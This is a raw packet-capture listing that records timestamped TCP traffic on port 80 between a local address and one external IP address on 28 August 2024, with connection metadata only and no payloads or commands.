Aug 28, 2024 11:51:15.568849087 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.568861008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.568871975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.568877935 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.568883896 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.568897009 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.568897963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.568912983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.568942070 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569091082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569109917 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569120884 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569133043 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569135904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569144011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569155931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569160938 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569168091 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569178104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569186926 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569189072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569200993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569201946 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569212914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569220066 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569224119 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569236040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569247007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569252014 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569257021 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569267988 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569274902 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569279909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569288969 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569293976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569302082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569307089 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569319010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569330931 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569339037 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569344044 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569360971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569364071 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569374084 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569385052 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569386959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569397926 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569427967 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569521904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569536924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569546938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569565058 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569566965 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569583893 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569585085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569595098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569605112 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569613934 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569617033 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569628000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569629908 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569642067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569647074 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569653988 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569664955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569677114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569683075 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569683075 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569689035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569700003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569710016 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569711924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569724083 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569736004 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569741011 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569747925 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569753885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569758892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569771051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569772959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569777012 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569782972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569793940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569803953 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569804907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569817066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569827080 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569828033 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569839954 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569845915 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569852114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569863081 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569865942 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569875956 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569884062 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569886923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569899082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569900036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569911003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569924116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569927931 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569936991 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569947958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569957972 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569961071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569972992 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.569972992 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569988012 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.569991112 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570019007 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570055008 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570327044 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570338011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570350885 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570363998 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570374012 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570379972 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570384979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570396900 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570401907 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570408106 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570415974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570420980 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570432901 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570449114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570456982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570470095 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570476055 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570481062 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570492983 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570497036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570503950 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570519924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570521116 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570533037 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570544958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570548058 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570564032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570566893 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570579052 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570585966 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570589066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570600986 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570610046 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570612907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570622921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570633888 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570635080 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570647001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570656061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570658922 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570672989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570673943 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570683956 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570693016 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570694923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570705891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570714951 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570717096 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570729971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570739031 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570741892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570753098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570759058 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570765972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570785999 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570805073 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.570979118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.570990086 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571000099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571012974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571023941 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571024895 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571036100 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571043015 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571047068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571060896 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571089029 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571106911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571119070 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571130037 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571149111 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571151972 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571160078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571161985 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571171045 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571193933 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571222067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571253061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571264982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571274996 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571285963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571295977 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571300030 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571312904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571324110 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571325064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571337938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571341991 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571348906 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571358919 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571366072 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571372986 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571384907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571387053 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571404934 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571409941 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571419001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571428061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571432114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571444035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571448088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571463108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571472883 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571475983 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571491957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571502924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571508884 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571515083 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571516037 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571530104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571542025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571552038 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571556091 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571568966 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571573019 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571582079 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571590900 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571593046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571604013 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571614981 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571618080 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571630001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571641922 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571645975 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571654081 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571665049 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571666002 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571679115 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571682930 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571691036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571702957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571707010 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571716070 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571728945 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571739912 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571739912 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.571758032 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.571775913 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572098017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572110891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572122097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572134018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572145939 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572158098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572160959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572160959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572170019 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572181940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572194099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572196960 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572204113 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572216988 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572238922 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572251081 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572263956 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572272062 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572283030 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572297096 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572298050 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572309971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572315931 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572320938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572331905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572339058 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572344065 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572355032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572357893 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572366953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572376966 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572381973 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572390079 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572396040 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572402954 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572413921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572422981 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572427034 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572438002 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572449923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572454929 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572462082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572464943 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572474003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572489977 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572500944 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572501898 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572513103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572513103 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572524071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572535038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572540998 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572546005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572555065 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572557926 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572568893 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572577000 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572580099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572592020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572602034 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572628021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572813988 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572824955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572835922 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572849989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572863102 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572864056 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572879076 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572906971 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.572951078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572962999 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572981119 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572993040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.572997093 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.573003054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.573015928 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.573023081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.573031902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.573043108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.573050976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.573052883 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.573060036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.573065996 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.573076963 CEST	80	49710	185.215.113.100	192.168.2.6
